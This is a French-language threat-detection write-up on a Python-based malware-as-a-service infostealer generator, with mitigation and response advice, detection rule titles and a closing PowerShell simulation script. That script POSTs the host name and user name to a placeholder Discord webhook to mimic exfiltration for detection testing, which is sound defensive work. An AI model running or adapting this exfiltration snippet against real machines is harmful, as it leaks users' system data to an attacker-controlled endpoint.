La Fabrique de Voleurs : MaaS Alimenté par Python pour Construire des Info-stealers
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une nouvelle opération de Malware-as-a-Service (MaaS) a été identifiée utilisant un générateur basé sur Python pour produire des chargeurs d’infostealer personnalisés. Le générateur permet aux opérateurs d’emballer les logiciels malveillants comme des exécutables Windows via Nuitka ou PyInstaller tout en intégrant des configurations de webhook. Les stealers résultants ciblent les identifiants de navigateur, les jetons Discord, les cookies Roblox, et les mots de passe Wi-Fi enregistrés.
Enquête
Les analystes ont examiné une archive imbriquée contenant à la fois le générateur et une charge utile intégrée. L’enquête a révélé que le générateur protège les URL de webhook en utilisant un codage XOR et Base64 et peut automatiquement installer les dépendances nécessaires via pip.exe. La charge utile générée implémente également des techniques anti-analyse, incluant la détection de débogueur et les vérifications de taille de disque conçues pour identifier les environnements de type sandbox.
Atténuation
Les organisations devraient surveiller l’exécution inattendue de pip.exe et la création de tâches planifiées suspectes. Restreindre l’accès aux répertoires de données du navigateur et détecter l’utilisation non autorisée de netsh peut réduire davantage l’exposition. Il est également important de maintenir à jour les solutions de protection des terminaux pour identifier les familles de logiciels malveillants Python en rapide évolution.
Réponse
Lorsqu’une activité malveillante est détectée, isolez le point de terminaison affecté pour arrêter l’exfiltration de données supplémentaire via les webhooks contrôlés par l’attaquant. Vérifiez les clés de registre Run et les tâches planifiées pour des mécanismes de persistance non autorisés. Analysez la télémétrie réseau pour des requêtes HTTP POST inhabituelles dirigées vers des endpoints de webhook inconnus, nouvellement observés ou suspects.
Flux d’attaque
Nous mettons toujours à jour cette partie.
Détections
Utilisation possible de Schtasks ou AT pour la persistance (via cmdline)
Points de persistance possibles [ASEPs – Software/NTUSER Hive] (via cmdline)
Tentative de communication possible de recherche de domaine IP (via dns)
IOCs (HashMd5) à détecter : The Stealer Factory : Déballage d’un générateur d’infostealer MaaS basé sur Python
Détection de la présence de débogueur et tentatives d’énumération de profil Wi-Fi [Création de processus Windows]
Requêtes HTTP POST suspectes vers des endpoints de webhook [Connexion réseau Windows]
Détection d’exécution inattendue de Pip et d’appel de PyInstaller dans le générateur de logiciels malveillants Python [Création de processus Windows]
Exécution de simulation
-
Narratif de l’attaque & Commandes : Un adversaire a déployé un infostealer léger sur un poste de travail Windows. Pour éviter la surcharge de la gestion d’un serveur C2 dédié, l’attaquant utilise un Webhook Discord pour exfiltrer les métadonnées du système (par exemple, le nom de l’hôte et le nom d’utilisateur). Le script effectue une requête HTTP POST vers l’API Discord. Cette action est conçue pour se fondre dans le trafic légitime de développeurs ou de jeux tout en ciblant spécifiquement le
discordapp.com/api/webhooksmodèle d’URI, que la règle de détection est programmée pour signaler. -
Script de test de régression :
# Simulation d'exfiltration de données via Webhook Discord $webhookUrl = "https://discordapp.com/api/webhooks/test-id/test-token" $payload = @{ content = "Données exfiltrées : Nom d'hôte=$env:COMPUTERNAME, Utilisateur=$env:USERNAME" } | ConvertTo-Json Write-Host "[+] Simulation d'exfiltration par Webhook..." try { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json" Write-Host "[+] Commande de simulation envoyée avec succès." } catch { Write-Host "[-] Commande envoyée (Échec prévu si l'URL est fausse, mais la télémétrie devrait toujours être générée) : $_" } -
Commandes de nettoyage :
# Aucun fichier persistant n'a été créé ; aucun nettoyage requis pour cette simulation en mémoire uniquement. Write-Host "[+] Nettoyage terminé : Aucun artefact restant sur le système."